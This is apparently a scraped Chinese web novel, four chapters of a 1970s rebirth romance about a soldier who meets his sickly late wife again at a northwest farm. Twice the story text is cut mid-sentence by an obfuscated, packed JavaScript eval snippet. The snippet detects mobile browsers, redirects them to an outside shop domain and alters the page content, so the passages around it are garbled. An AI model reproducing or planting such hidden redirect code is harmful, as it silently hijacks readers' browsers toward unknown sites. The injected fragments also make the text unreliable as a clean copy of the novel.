《七零病弱白月光[万人迷]》 1. 第 1 章 西北,霜砾山横卧在天边,像一柄古老的刀背,刀锋常年覆着雪,远远望去带着冷厉的白。山脚下,明镜湖如同一面银镜,静谧安然。 此时此刻,距离湖泊十公里的苍川县,两个身穿灰土色上衣的年轻战士正站在县医院的某间病房外,相互推揉。 “你去说。” “我不敢……” “上次就是我去的。” 两个年轻人你看我,我看你,没争出个所以然,默契地将脑袋悄悄扭向病房内。 只见病床旁的男人往常挺拔的姿态不再,他肩膀微微塌着,一呼一吸都随着病床上女人的生命体征而浮动,留给外人一个随时即要崩塌的背影。 他身上还穿着三天前颁奖时的军装,外套松松垮垮搭在椅背上,紧扣的一排勋章正对着病房外。 两位年轻战士心下一惊。 其中一人小声开口,“哎,立了那么多功,要不是……” 他自觉不妥,没再说下去。 另一人吓得面色发白,正欲纠正两句,又意识到眼下这些恐怕对于赵驰来说都不重要了。 他一门心思都扑在了他媳妇的生死之上,哪里有功夫和他们计较。 “也是可怜。” 年轻战士心里哀叹一句。 驻地里谁不知道,赵驰样样都好,正统军校毕业,又生得帅气挺拔,很得军团领导们赏识,妥妥的下一代优培苗子,康庄大道就在眼前。 可他唯独有一个致命缺点。 他是个恋爱脑——娶了个出身不好的媳妇。 要说是发妻,那恐怕还不会闹出先前那么多事,大不了心一横,登报离婚割舍了关系就是。现下这年头,如此行事的负心汉还少吗?最坏不过避两年风头,也算是明哲保身的聪明路子。 偏偏那女人是他去年才娶回家的新妇,听说是在明镜湖一见钟情的资本家小姐,下放到青峰农场劳动。 赵驰是一头扎了进去。 为了结这个婚,他托了无数关系,硬是和老领导们争取许久,证明材料和报告都打了近十次。眼看着司令员要松口了,又撞上了来视察的督卫组,导致他被那女人连累,在军团喜提通报批评,领导们只能打压他几个月。 可等到督卫组一走,他还是把申请递了上去。 他就偏要娶。 硬要娶。 去年一个任务,赵驰差点把命交代在戈壁,司令员和政治主任实在看不下去,终于还是替他签了同意。 听说那天,走出办公楼的赵驰,拿着签好批准的结婚报告在驻地笑了许久。 可惜好景不长。 那资本家小姐打娘胎里就是个病秧子,心脏有问题,这些年又在农场亏了身体,医生实在回天无力,三天前就下了病危通知。 咽气怕是就这两天了。 两个年轻战士都没成家,不明白究竟赵驰这种婚姻究竟有什么意义?娶个媳妇当摆件似的,放家里捧着哄着,还就只能欣赏一年时间,实在百害无一利嘛! 要不是为了她,从军校毕业的赵驰怎么可能这次只升了个副团?驻地本就是将他作为下一代来培养,不出意外就是下一任团长,甚至未来还有往首都调岗的可能性,更何况他还立了那么多功! 可惜啊可惜。 前途搭进去了,媳妇也要死了,一场白忙活! 正值入夏,县医院空间逼仄,走廊也不算通风,闷热难挡。 两个年轻人对望许久,谁也不肯先开口。等下去也不是办法,天热,他们从食堂带来的饭都快馊了! 最终,还是离门更近的那位小战士试探提醒。 “赵副团长,你已经守了三天了,嫂子她肯定也不想看见你如此,要不还是换我们守一会儿,你去吃点……” 赵驰将衬衫袖口卷到腕心,露出的手臂线条紧绷有力。 他握紧床上那只枯瘦的手,像是攥住一缕随时都会飘散的游魂。 “……” 没有得到答复,年轻战士又问了一遍。 “不用。”恍若才听见。 两人仿佛早就料到了结果,摆摆脑袋离开了。 走廊传来渐渐远离的脚步声,廊灯忽明忽暗,一如病床旁那滴答、滴答的监护仪。 “……赵驰。” 方秋芙缓缓撑开眼皮,沙哑着喉咙开口。她唇色发白,看不出一点血色。 赵驰察觉到攥紧的手腕一动,眼底迸发出欣喜的光,“你醒了?要不要喝水!饿不饿?对,医生、我去叫……” “……赵驰。” 她又喊了一遍,长睫翕动,一张脸犹如长久浸在雪地里的衰败花瓣似的,毫无生气。 两声呼唤,像是耗尽了方秋芙的所有力气。 “……” 赵驰不断朝着她的手心呵出热气,试图留住她骤降的体温与气息,可惜无论他如何挣扎,也于事无补。 病房里压抑着哽在喉咙的呜咽声,泪水一颗一颗砸下来,落在了方秋芙的手心,又被男人匆匆擦去。 方秋芙眼皮沉沉。 她终于要死了吗? 这些年她经历了太多,身体本就不好,一颗原本就不太康健的心,也从过去的热络活泼,变得冷漠疏离。 她听见赵驰的挽留与哭泣,却实在有心无力。 她回想起从前。 起初面对赵驰热烈的追求,她躲过,冷过,拒绝过。偏偏赵驰就是个认准了的性子,就差将他那颗心掏了出来。 她不是无情之人。 可老天爷就像是和她有仇似的,不肯轻易放过她。 她好不容易走出层层包裹的茧房,选择放过自己,结果还没过几天好日子,就得知那颗心脏没救了。 早知道去年她就不该松口,折腾一趟,什么都没做成,还耽误了赵驰的大好前程。 他本来不必像她那样苦的。到头来还真让那些人说中了,害了他。 方秋芙的身体像是一座枯败的风箱,她的声音变得干哑,每一个字都说得极其艰难。 “对不住……” 赵驰怔然,肩膀抖得更加厉害,几度开口才控制住情绪,说出一段完整的话。 “蓉蓉,你知晓我的心意。与你结婚这一年,于我而言就是最好的美梦,你不准再说这些话,你会好的,会好的……” 说到后面,他只不断重复那句“会好的”、“会好的”。 赵驰握住她的手,弯下身子,将脸贴近她的手心,轻轻落下一个吻,却怎么抓不稳她滑落的纤细手指。 “不要离开我,好不好?”声音碎得不成调,只余下恳求的呜咽。 他俯身抵住她的颈窝,眼泪不受控制地滑落,浸湿方秋芙蓝白相间的病号服。 方秋芙想要提起手腕摸一摸他的脸,拍一拍他的背,但使不上丝毫力气。 她有些后悔了,或许不该对他说那样多无情的话。从知晓时日无多的那天起,她就擅自划开距离,以为能让赵驰死了心,却也没能劝退他的一腔喜爱。 他好像真的非她不可。 真是个犟种。 不过,临死前自私一次,应该也是允许的吧? 她想告诉他,他一直想听的那句话。 赵驰。 其实我是真的动过心。 答应你,不是为了你当初说的远离纷争,也不是为了给你一个机会慢慢培养感情。 她多活的这两年,的的确确是因为有了他这个锚点拽着她。 眼皮越来越重,方秋芙缓缓眯上眼,过去经年一一回现。 爸妈死了,攸宁也死了。 朱妈失了联络,生死不明。 她这些年努力留住所有人,却谁也没留住。 若不是赵驰出现,她只怕是早早随了他们,去了黄泉路相陪。 此情此爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他穿着当年最后一次见她时的制服,为她上了香,倒了酒,又蓄满,与墓碑对碰,一饮而尽。 他终于可以随她而去。 “蓉蓉,我来赎罪了。” …… 赵驰想到这里,终于意识到了什么。 不对。 他跌跌撞撞起身,扫了眼屋内,被眼前的景象吓了一跳。 这是在哪里? 方秋芙去世后,他从未动过家中摆饰,她留下的瓷杯、枕芯、棉被、衣物、记事本等杂物原封不动存了下来,特别是她那几幅遗作,更是用牛皮纸细细包裹起来存放。 而眼前绿白相间的水泥墙,布置简约的书柜,整齐叠放棉被的单人床,一切都让人陌生又熟悉。 这里不是他们的家。 赵驰脑海里冒出一个让他惶惶又兴奋的念头。 他踉踉跄跄推开门,七月底炽热的阳光无情地倾泻在他身上。 他记得他去墓前是冬季。 此时是盛夏,蝉鸣不知疲倦。 赵驰的心脏越跳越快,他几乎抑制不住他逐渐加快的脚步,三步并作两步,来到最近的衣冠镜面前。 镜中男人的轮廓虽然如刀削般利落分明,却还未像经年后那般凌厉沧桑,眼尾还透出几分少年气。 阳光照过来,落在他的脖颈、锁骨和手臂,他的皮肤还未因自虐般的拼命而沾上细细密密的伤口。 干干净净的。 一张年轻而青涩的脸。 是二十一岁的他。 赵驰终于意识到了他执念成真,他重新回到了过去。 回到了有方秋芙的过去。 2. 第 2 章 三辆军绿色蓬盖卡车沿着戈壁公路奔驰,卷起黄沙,轮后拖出一道长长的尾迹。 “咳咳——” 纵然提前用织布捂住口鼻,方秋芙还是吸进了飞沙,喉咙痒痛,她忍不住咳嗽了两声。 身侧的青年察觉她的动作,将自己的水壶递给她。 方秋芙出生时就带有先心病,身体底子差,淋不得雨,吹不得风,每次感冒都要让朱妈照顾许久,长大后也不见得好转。 如今历经骤变,从沪市过来的一路上,若不是身旁的少年照顾她,她怕是早就死在火车上那场来势汹汹的高烧里了。 方秋芙摇了摇头,强行挤出一个亮晶晶的笑眼。 “我不用。” 青年却很坚持,“喝吧,你声音都快哑了。不用节省,马上就到。” 她拗不过,道了声谢。 接过水壶时,方秋芙的视线扫过少年的指尖。一双手修长如玉箸,即便因长达半月的颠沛而沾满了灰,也掩不住格格不入的矜贵。 方秋芙心头叹气。 她知道,岑攸宁最爱干净了。 抿了小半口水润了润喉咙,方秋芙将水壶塞了回去,再次挤出一个乐观的笑容,戴回面罩,顺便转移话题。 “真漂亮,雪山镜湖,我们能在这里生活,也挺好的。” 岑攸宁顺着她的目光看过去。 远处的苍川县轮廓逐渐清晰,低矮的土色建筑群匍匐在霜砾山脚下,天际处雪山巍峨连绵,山头积雪终年不化,神秘悱恻。 “是啊,真漂亮。” 两人的目光在车内短暂相接,闪过一瞬间复杂的神色,是思念,是担忧,但又很快被故作轻松的姿态粉饰。 他们总是默契十足。 接下来的一段路,谁也没有再提过去,继续聊着远处的雪山与那汪湛蓝的淡水湖。 “你看,那边就是湖吧?” “嗯,应该是明镜湖。” “周围还有草甸和沙丘,也不知道农场那边是什么情况,是不是还要放羊放牛之类的。” 岑攸宁望了一眼,不自觉把话题拉回她身上:“半荒漠半绿洲,想来这里的气候合宜,虽然干燥了些,但阳光充足,对你身体挺好。” “我身体是娘胎里亏的,补钙也没用!”方秋芙叹了口气,“怀我的时候摔了一跤,营养也没补上,也不知道算我命大还是命薄。” 岑攸宁立即变了脸色,语气强硬起来,“不要说这种话,你会好好的。” 方秋芙咬唇没再回嘴,撑着手抵住下巴,透过篷布去看外面的草木,思绪渐渐飘散。 一个月前的深夜,她在睡梦中被朱妈拍醒,正欲询问发生了什么,就被塞了一个皮箱,莫名其妙上了辆小三轮。 朱妈是从小照顾她的保姆,三十年前就跟在她母亲季姮身边。 动荡之初,方秋芙父母提前预料到风雨欲来,就将她托给了朱妈,方秋芙便在新村的八平米小宅寄宿了半个月。 奈何动作还是慢了半步,来家里闹的人太多,又都知晓方家有个芙蓉如面柳如眉的娇娇女,实在是瞒不过去。 方秋芙现在都记得,那个梅雨季的夜晚,母亲季姮在新村窄窄的屋里压低声音恳求。 “朱红,我真的求求你,你带蓉蓉走吧,我知道你打心底就是将她当亲生女儿在疼!” “大小姐,我们走了,你们怎么办呢?难不成真要像那陈家太太一样吗!” “你别管,只要蓉蓉活下来,我和潮生就算……还有这个布袋也拿上,里头是我给蓉蓉存的东西,让她贴身放,关键时候起码能换点钱!你们今晚就走,直接回你老家,回山阳,以后她就是你的女儿,她跟你姓朱。” “我也想啊!可现在火车站查得紧,没介绍信能去哪里?我也不可能带小姐搭黑车,她本来身体就不好,那怕是在路上就……” 季姮沉默良久。 潮湿的雨季,她声音像是隔了层朦胧的水雾,“可我就这一个女儿……” 方秋芙那晚发了烧,记不住太多。在她印象中,两个女人抱头痛哭了一整夜。 季姮是个爱漂亮的书香美人,留着齐腰的黑色长发,她喜欢用精品店的法国精油,发梢总是带着薰衣草的香气。 而那晚她记忆中的季姮,剪了齐耳头发,发梢毛躁躁的,有些扎脸。 迷迷糊糊之际,她依稀看见母亲肿着双眼,在她的额头吻了好多下,才舍得在天亮之前离去。 听朱妈说,她的父母马上要搬到赣江去。 方秋芙算得上书香门第。 她外祖父出生收藏世家,外祖母是进士之后,也是最早一批留洋的翻译小姐。混战刚开始时,他们正值热血年华,毫不犹豫就决定从港城回来救国。他们在租界开了家洋行,生意虽然不大,但凭借独到审美的收藏品,在租界算是小有名声。隔几年又诞下了季姮,见她聪慧,从小就教她外文。 战乱时,季姮已经长大,她扛起家里的重责,带他们迁去西南,与同僚翻译了好几本法国文学,还认识了志同道合的方潮生。 方潮生家里世代擅书画,他父亲是山河画大家,一手草书更是有价无市,战时卖了不少作品资助后方。而方潮生却对磅礴山川毫无兴趣,反而擅长画花鸟,尤其是莲花,翠叶粉蕊,娉婷顾影。 他们只有方秋芙一个女儿,取名芙蓉未尝不是因为那一幅幅定情的秋水荷花图。 方秋芙打小耳濡目染,法语虽然赶不上季姮的成就,但在书画上颇有天分。可惜她也随了方潮生的路子,愣是要和祖辈们玩一手叛逆,甚至直接东西方颠倒,不会画水墨山河,也不会婉约花鸟,反倒擅长西方油画的光影与色彩变换。 夫妻俩原本是想将她送去巴黎美术学院深造,也因动荡而作罢。 随后几日,季姮没再来找过朱妈。 紧接着就是那晚的匆匆离去,方秋芙坐在小三轮上,人都是懵的。下车时,朱妈替她擦了擦红肿的眼睛和鼻子,将她亲手塞到了岑家。 “小姐,我恨我没本事不能带你回乡下……你放心,大小姐说了,岑家有路子,你就跟着攸宁哥哥,他会保护你的。” 等到稀里糊涂跟着大队伍坐上火车,方秋芙才从岑攸宁那里知道缘故。 岑家有个舅舅在边远战区,双方父母是世交,彼此托尽关系,才将她和岑攸宁一起塞进西北农场的下放知青名单,尽可能远离纷争。 对于岑攸宁,她是无条件信任的。 岑攸宁父母都是音乐家,唱歌像仙人似的好听,每年有一半的时间都在首都以及各地巡演,他本人也弹得一手好钢琴。 幼时,岑家父母每次出门巡演,就会将他丢到他们家,托季姮和朱妈照顾。 两人比书里的青梅竹马还要贴近,有些人家亲生的兄妹恐怕都没他俩好。 想必她能和他一同踏上远行之路,也是岑家父母在还这份恩情。 他们离开不久,动荡加剧,至此也断掉了和彼此父母的联系,只剩下彼此,一路相照拂。 “到了!到了!” 卡车渐渐停了下来。 车内众人悠悠转醒,年轻的面庞清一色刻着疲惫。 他们这一路又是火车,又是大篷车,还运气不好遇上了泥石流,在山里停了几夜,折腾了快一个月才到。 坐在头车副驾驶的微胖男子下了车,几个司机见到他,寒暄似的招呼了一句,“陈班长”。 陈班长是苍川县负责这群知青的转运人。 转运是个费神费脑费力气的硬茬工作,不可能靠一个人完成任务。 从沪市到苍川县,上千公里的路程被划分给了沿途四只部队,陈班长负责的就是最后一段路。 然而,前面三位转运同志的工作都顺顺当当,偏偏是他的这段耽误了时间,延迟了任务。 此时的陈班长,正愁一肚子火气没地方发,就将箭矢射向车内的青年。 他想,大部分的知青都是遵循就近分配的原则,一般都是去离户口最近的县城,出省都是少有。如今时节特殊,这些青年有近路不走,非要来偏远的苍川,多半是背景有问题,近处不愿意接纳。 甭管以前过得是什么骄矜的少爷生活,如今来了边远,可没人能护着他们。 一想到路上那些呜呜啊啊的哭泣声,陈班长就觉得烦! 下车踏上平地,陈班长踹了一脚戈壁滚来的石子,理了理皱巴巴的衬衣,重重叹了一口恶气。他用力拍了几下篷车边缘的铁板,毫无顾忌地朝着这群青年们怒喊: “别婆婆妈妈,哭哭啼啼的!都给老子收拾东西下车!听到了吗?十分钟后,在农场门口的平地集合,谁要是没到!我!……” 陈班长一转头,忽然撞见一道不善的眼光,发泄的话语就这么卡在喉咙里。 “……我……我我……” 在他身前,赵驰穿着一件简单的军绿色T恤,脸色阴沉。 陈班长咳了两声,眯眼打量了一番赵驰。 这人没穿肩章,看起来就是个年轻的毛头小子。哪里来的新兵?真是莫名其妙! “看什么看呢?”陈班长不想输了气势,硬狠狠怼了回去,“没看见我在忙着训人吗?有什么事情,一会儿再汇报。” 赵驰面色不动,没出声。 就在这时,农场的场长匆匆赶来,陈班长正欲告知对方转运延误的原因,就见场长转头朝着赵驰敬了个礼。 “赵营长怎么来了?我还以为这趟转运是二团的老张来对接呢!” 农场场长是个四十来岁 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孙主任:“我也头疼啊,你说这是啥意思嘛!我们青峰农场都是一群种地放牛的老实人,只怕是不好管啊!” “现在农场还算平静吗?”赵驰问。 “倒是还算风平浪静,现在闹得最厉害的还是金城那边嘛,咱们苍川小地方,思想也比较落后,光想着吃饱饭了,若是有指示……” 赵驰脸色一黑:“我没别的意思,但我不想看到农场内有人闹事。” 孙主任心里都在狂喊。 我也不想啊!大家好好种地不好吗! 他微微斟酌语言,暗示了他的站队,“赵营长你放心,我也没别的心思,我骨子里就是个种地喂牛的本分农民……但就怕他们入住后,有人闹啊!” 如今城里的风波人尽皆知,孙主任除了担心这群小孩们的死活,还怕影响农场效率,最后落实到生产,他是要生气的! 赵驰来之前就已经想好了说辞,“只要把工作重心放在劳动和生产就好,其他的我会帮你想办法。” “那我就放心了,也是怕引火烧身嘛,总归是为了生产……” 孙主任还在继续说。 赵驰的目光已经越过他的肩膀,扫向那群正在下车的青年。 ……没有。 ……也没有。 ……人在哪里? 他今日原本是休息,特意申请了出外勤,正好撞上转运交接的任务。 赵驰算了算日子,大概率就是方秋芙这批知青抵达青峰农场的时间点。 有多久没见过她了? 好想她。 他想来看她一眼,就一眼。 赵驰觉得他很贪心。 明明一开始想的是她如今健康平安就好,可真正实现后,他又迫切地想要靠近她,期盼得到她的爱,贴近她的灵魂。 孙主任很热情,他主动引领赵驰往农场内走,从最末列的卡车经过,往前方的入口而去。 “接到收容知青的消息,我们前段时间刚腾出了三十多张床位,至于舒适嘛……” 他话语不停,赵驰边听边用余光打量周围的人群。 青年们像下饺子似的跳车,一个接一个。 终于,在肩膀穿过一行人时,他像是得到了某种指引,恰好抬眸。 一个扎着单侧麻花辫的女人出现在车尾,正欲动作。 赵驰停步了。 他远远地盯着那个女人。 她裹着灰扑扑的蓝布面巾,露了一双眼睛——那双杏核般的眼睛,清冽透亮,眼尾留着一抹天然的薄红。 只此一眼,赵驰就认出那是方秋芙,是他日思夜想,心心念念的人。 她活着,呼吸着。 她离他不过十米路。 赵驰几乎想要立即冲过去告诉她,他非常非常非常非常非常思念她。 然而下一秒,他就看见卡车旁一个高挑清贵的青年朝她伸出手。 青年笑着握紧她的一侧手腕,又张开怀抱,将跳下车的她稳稳接住。 阳光照映着他们亲昵的动作。 很刺眼。 他们就这么肩并肩朝着前方的农场行进,期间没有回头没有看过他一眼。 赵驰不记得他在原地站了多久,直到孙主任轻轻推了他一下,他才回过神来。 “怎么了?是不是中暑了?这两天是有点太热了。” 赵驰控制着情绪,神色平静如常,“没事,走吧,该点名了。” 他望向前方,两人的背影早已消失不见。 上一世,他没有见过那个青年,但赵驰无论如何也记得他的名字。 岑攸宁。 那是方秋芙的心上人。 3. 第 3 章 赵驰知道岑攸宁的存在,是因为一个举手之劳。 上一世,他对方秋芙一见钟情,苦追两年才换得她松口。 婚后某日,方秋芙坐在家属楼那颗银杏树下,晨曦在她脸上投下细碎的光斑,月白色的针织罩衫垂落,整个人像一缕微弱的月光,浸入璀璨的金黄华盖里。 她轻飘飘的。 好似一阵秋风拂过,就会不见。 那时她已经病得厉害,皮肤透得能看清那淡青色的血管,若非那双还留有精神的眼睛,整个人早就显得干瘪可怖。 她淡淡开口唤他,“赵驰,你能不能帮我一个忙?” 十一月晚秋,银杏落了满地,扇形叶片拼凑成金箔般的软毯。赵驰踩上去时,军靴鞋底碾过沙沙的声响。 “你说。”他停在她身边。 “我走了以后,如果有机会,帮我回沪市扫个墓。” “……” “你要答应我。” 方秋芙的声音轻荡荡的,带着病中明显的气弱,却字字清晰分明,不容置喙。 赵驰哽了喉咙,闷出一个不愿面对现实的“嗯”。 旋即,他又问,“那他们喜欢什么花?”他知晓方秋芙的心结是去世的双亲,“芙蓉?还是荷花?” 方秋芙摇摇头。 “还是玉兰吧。” “我长大的地方,院子里有一颗古玉兰,每年四月开花时,花香色艳,香味在整条街回荡,很好闻。” “朱妈会为我摘几朵生得莹润饱满的花苞,将花瓣摘下来晒干,夹在书页里,运气好的话,到六月还能闻到香气。” 方秋芙浅浅弯唇,眼里潋着泪光。 玉来花开春自来,白雪琼兰映眼开。 可惜她看不到了。 赵驰敏锐意识到了不对劲。 她在他面前话不多,更不曾回忆从前,那日却破天荒提了起来。 秋风吹得树叶沙沙作响。 赵驰恍然。 他凭直觉意识到了什么——方秋芙眼里微闪的水光,映的不是满地银杏,也不是他。 鬼使神差的,他第一次在她面前打破砂锅,刨根问底。 赵驰道:“除了你父母,还有没有别的亲友需要我替你探望?” 方秋芙顿了很久,才启唇:“如果有缘,替我为岑家也赠一束花吧。” 末了,又补了一句:“他们对我有恩。” 他没再问,她也没再说。 三个月后,方秋芙去世。又隔了几个月,赵驰听说青峰农场翻修时,找到了她留在那里的手稿,他匆匆赶去,在一堆风景写生中,发现了几幅陌生男人的素描。 随后他又辗转去了沪市,看到了那颗古玉兰,也见到了朱妈。 他知晓了岑家与方家的往来关联,十余年亲如一家,肝胆相照。 也知晓了她的青梅竹马,那位与她同去西北,却在两年前因意外而去世的岑攸宁。 赵驰难以形容那时心中的酸涩。 原来她心中原来早已有了无可替代的位置。 那些拒绝、那些冷漠、那些叹气,好像都有了答案。 他没办法和死人竞争。 蝉鸣声不绝于耳,赵驰挺拔的身形一闪,险些跌倒在地。 “赵营长?”孙主任连忙撑住他右臂。 赵驰摇摇头,无言,抽走手臂。 炎夏的风吹起来,闷得像在大炉甑里蒸煮,酷热难耐,农场院子中央,站着三十多位少年少女,脸上皆是汗如雨下。 方秋芙站在队伍的末尾,拒绝了岑攸宁用身体替她挡住曝晒的阳光。 她还裹着面巾,只露出一双俏皮的眼睛,“就几分钟,不碍事。” “我答应了叔叔阿姨,要看住你。”他要把她平安带回家。 “晒个太阳而已,你自己说的我多晒点太阳对身体好。” “不一样,我怕你晕倒。” “你怎么就那么轴呢!”方秋芙无奈,小声骂了句,“死脑筋!” 岑攸宁不再言语。 颠沛一路,他的脸色也算不得康健,却执拗地站在她身后,用他单薄的背脊撑起一片阴影。 赵驰走过来时,看到的就是两人前后紧密挨着的一幕。 他转向孙主任,声音不咸不淡,“让他们去树荫下面等着吧,刚到呢,别又躺着送出去了。” 孙主任听懂言外之意。 他也知道这群青年都是什么情况,中暑了确实不好交差。 一是像赵驰说的,小知青们才刚到第一天,真有什么意外,传出去怕是对他、对农场、对驻地都影响不好。 二是最近的县医院距离农场二十公里,若是真有没福的人昏死,派车出去一趟很是麻烦。 先不说农场要垫付的医疗费,光是油钱就很贵的。 救了要挨骂,不救也要挨骂,还不如一开始就别闹出事情。 可拿捏不住赵驰的性子,他又不敢贸然开口。 万一他是个想要磨一磨少年心性的小官腔呢?他也就没管他们,由着这群傻小子傻姑娘们杵在空地,大不了等赵驰进了屋,他再让人来传信。 最多不过晒半小时,总不至于出事吧? 还好赵驰主动放话,替他省了不少麻烦,想来要是有人挑刺,也不必让他孙进步去背锅, 嘻嘻,赌对了。 孙主任这才装作慢半拍反应过来的模样,“瞧我这脑子,还是赵营长想的周到!” 他抻了抻喉咙,拿捏起农场管事人的态度,喊道,“太阳这么大,不怕中暑咯?你们都是缺心眼的傻子吗?去树荫下等着吧!” 方秋芙神色放松下来,第一时间转头去看身后,“好像不用晒了耶,走吧。” “嗯,是件好事。” 两人同时转身,并肩朝树荫走去。 方秋芙边走边想,好像这里没有沿途听闻的那样可怕?或许农场的生活没有她想的那么糟呢?她脚步渐渐轻快起来。 岑攸宁无奈提醒,下意识伸出手又收回来,“慢点,别摔着了。” 方秋芙绽起笑意,纵有遮挡,一双杏眼弯如明月。 “我心里有数!快走。” 阳光越过他们的肩头,刺眼得发烫,仿佛周围人七嘴八舌的议论声,酷暑聒噪的蝉鸣声都不存在了。 赵驰站在不远处的屋檐下,房门前倾盖的枝条倒影遮挡住他的半张脸。 陈班长不知道他在看什么,继续刚才的话题,“……车队开到崩云峡附近的时候,遇到了泥石流,封了路,也不可能强闯。” 赵驰收回目光,拉了拉燥热的衣襟,消失在墙边,两人一前一后进了屋。 青峰农场的中央种了一排槐树,农作逢高温时,社员们就喜欢在槐树下打牌唠嗑,等到日头过去,再重新回到田坎。 树荫下摆了一张木桌。 孙主任找来农场的老会计,帮忙登记这群新人们的信息。 这趟拢共送来三十二人,他上个月接到通知就安排好了房间。 青峰农场的社员并不多,算上老会计这样的文职,也只有四十多人,以男同志居多,都挤在农场西侧的宿舍楼。 说是宿舍楼,其实就是单层的小平房,划分成十多个房间,像一条长砖似的压在泥地上。 虽说男女有别,但农场也没有多余的资源再凭空修一栋小楼出来,只能保证按房间来分配。 水泥可是稀罕玩意儿,孙主任也是如今在县里有个生产的职位,才在苍川县的新楼里得了间两卧居室。 可惜他到底是操心命,农场大小事交给旁人他都不放心,也就不可能时时刻刻住在县城里,只好在农场腾了间房。 青峰农场占地面积广,也不止一栋小平房,他倒是想将旁边几间闲置的空房给腾出来,可这样的工程起码得算个小翻修。 如今不兴搞特殊,劳动力要花在刀刃上。孙主任只好暂住在宿舍平房,将最左侧的那间六平方单间给占了。 那是目前青峰农场唯一的小单间,原本是用作仓库。 新来的知青们自然得睡大通铺,他们依次安排在旁边的隔间,与从前的农场众人挤在一个屋檐下。 至于那些废弃的农舍和平房,只能等资金到位再谈了。 老会计算得很快。 “农场的宿舍均是八人一间,男同志有二十人,分三间房,其中两间住七人,一间六人。女同志们目前是十二人,就先对半分,每间住六人。” 孙主任拿着提前备好的名单和收上来的介绍信,一一核对,每安排好一人,老会计就在纸页上记下姓名,籍贯,年龄,以及宿舍号。 “好,姓李是吧?” 孙主任眯眼沿着名单找,用钢笔划上一个圈,递给他一张凭条和一本绿色册子,指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698856|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指不远处。 “出入证明天早上八点到办公室排队办。每周的工作安排也会在门口的布告栏张贴。” “刚开始的生活用品可以凭册子里的券来换,都是国家给的知青安置费,不用你们出钱,都是好定西,要爱惜,弄坏弄旧都不会补。” “至于现金和之后结算工分换的票据,你们可以去农场内的供销商店,也可以去县里,县里东西要多些。” “每星期会有一趟车去苍川县城,交通费往返要收十个工分,不接受现金,具体时间会在布告栏公示,打了申请通过,就可以去城里采买,但你们千万别忘了回来的时间,我不想去派出所捞人。” 孙主任噼里啪啦说了一通,也不管听懂没有,反正过一段时间,总能搞明白,他懒得多废话。 “下一位。” “岑攸宁。” 方秋芙站在他身后,隔了一个身位,她往前挪了半步,脑子里还在消化刚才提到的内容。 孙主任没想继续重复嘱托,他想反正也没有聋子,隔四五个人说一遍就得了。 不然多费口水啊! 他沉默着按名单找了一圈,找到岑攸宁的名字,画上圈。旁边的老会计递来信息表和一支钢笔。 岑攸宁俯身握笔,签下名字。 他写得一手漂亮的行楷,笔锋如折竹,“宁”字最后一笔却又料峭凌厉。 老会计接过,翻了180度。 看清签名,他在心中暗道了一句好字。 岑攸宁接过递来的两样东西,却迟迟没有往前走。 他抿了抿唇,才问,“主任,我想问问,如果生病怎么办?” 方秋芙回神一愣。 她当然知道,他是替她问的。 孙主任抬起脑袋,正好对上岑攸宁那张清癯的脸,怔了两秒。 现在的年轻人都长这么好看吗?来一个赵驰还不够? 他正色道,“呃,最好还是别生病吧,最近的医院在苍川县,农场没有卫生院,但是小病的话,可以去找妇女队长拿药。” “谢谢。” 岑攸宁没再多话,回头朝着方秋芙轻轻颔首,站到旁边,准备等她一同去宿舍。 方秋芙朝他眨眨眼睛,才上前一步,报上名字。 “怎么遮着脸?”孙主任盯着她脸上的蓝布方巾,想到方才青年的问题,发问道,“生病了吗?” 方秋芙摇头,“刚在车上戴的,下来忘了取。” 孙主任脑子里有了画面,苍川县的沙尘吹起来妈都不认,也没为难她,坦然道。 “先摘了吧,得认下脸。” 否则这种核对名单的小事,也不着他亲自来办。 “好。” 赵驰和陈班长交接完转运手续,寻了个由头往树荫走,就恰恰好见到了这一幕。 方秋芙解开裹在脸上的方巾,秋风拂过她耳边乌发,露出一张清凌如玉的脸,皮肤莹白,在日光下几乎透出薄瓷般的清光。 她的五官生得娇俏,眉如新月,朱唇艳色,鼻尖沾了偏巧沾了几粒黄灰,像一只蒙尘的雪莲。 周围喧闹的人声凝固了片刻。 陈班长也跟着感叹,“好漂亮的姑娘,江浙鱼米果然养人。” 赵驰无声凝了他一眼。 眸色让人莫名胆战心惊。 陈班长意会,连忙改口,试图讨好,“呵呵,一看就是手无缚鸡之力的大小姐做派,简直是敌……” 话都没说完,陈班长就觉得手臂吃痛,低头一看竟然是赵驰伸手狠狠拽了他一把,力道之重,痛得他差点眼泪都出来了。 “别摔了,有石头。” 赵驰蹙了蹙眉,低头踹了一脚什么,扬尘飞起,陈班长下意识闭眼,再度睁开时也没看清到底是多大的石子。 “谢谢赵营长。” “没事,走路小心点。” 陈班长不敢再多话。 他总觉得赵营长不待见自己,可偏偏刚才他又救了他,谁知道当着这群青年摔一跤有多丢脸! 陈班长:“那我就先带车队回驻地了,从金城一路开过来,卡车还得检修呢。” “好,我还有点事。” “您忙您忙!” 陈班长提脚快步往农场门口而去,走着走着又想起方才的画面,便一直低头注意有无杂物。 就是手腕有点太疼了。 4. 第 4 章 树荫下,孙主任核准姓名,用钢笔圈好名字,递给她凭条和配给册。 他抬起头,正好抓到排在方秋芙身后的几个毛头小子不安分,不断假装忙碌,实则鬼鬼祟祟,就为了钻出队伍,来前面看她。 孙主任大骂:“瞅啥瞅!滚回去!” 几个青年像是没想到会被发现,身板一抖,老老实实梭回队伍,只是脖子还是有些不听使唤,左扭右扭,不死心想要偷看。 不过队伍倒是安静了下来。 孙主任白了他们一眼,无奈看向话题中心的方秋芙。 确实是个少有的漂亮姑娘。 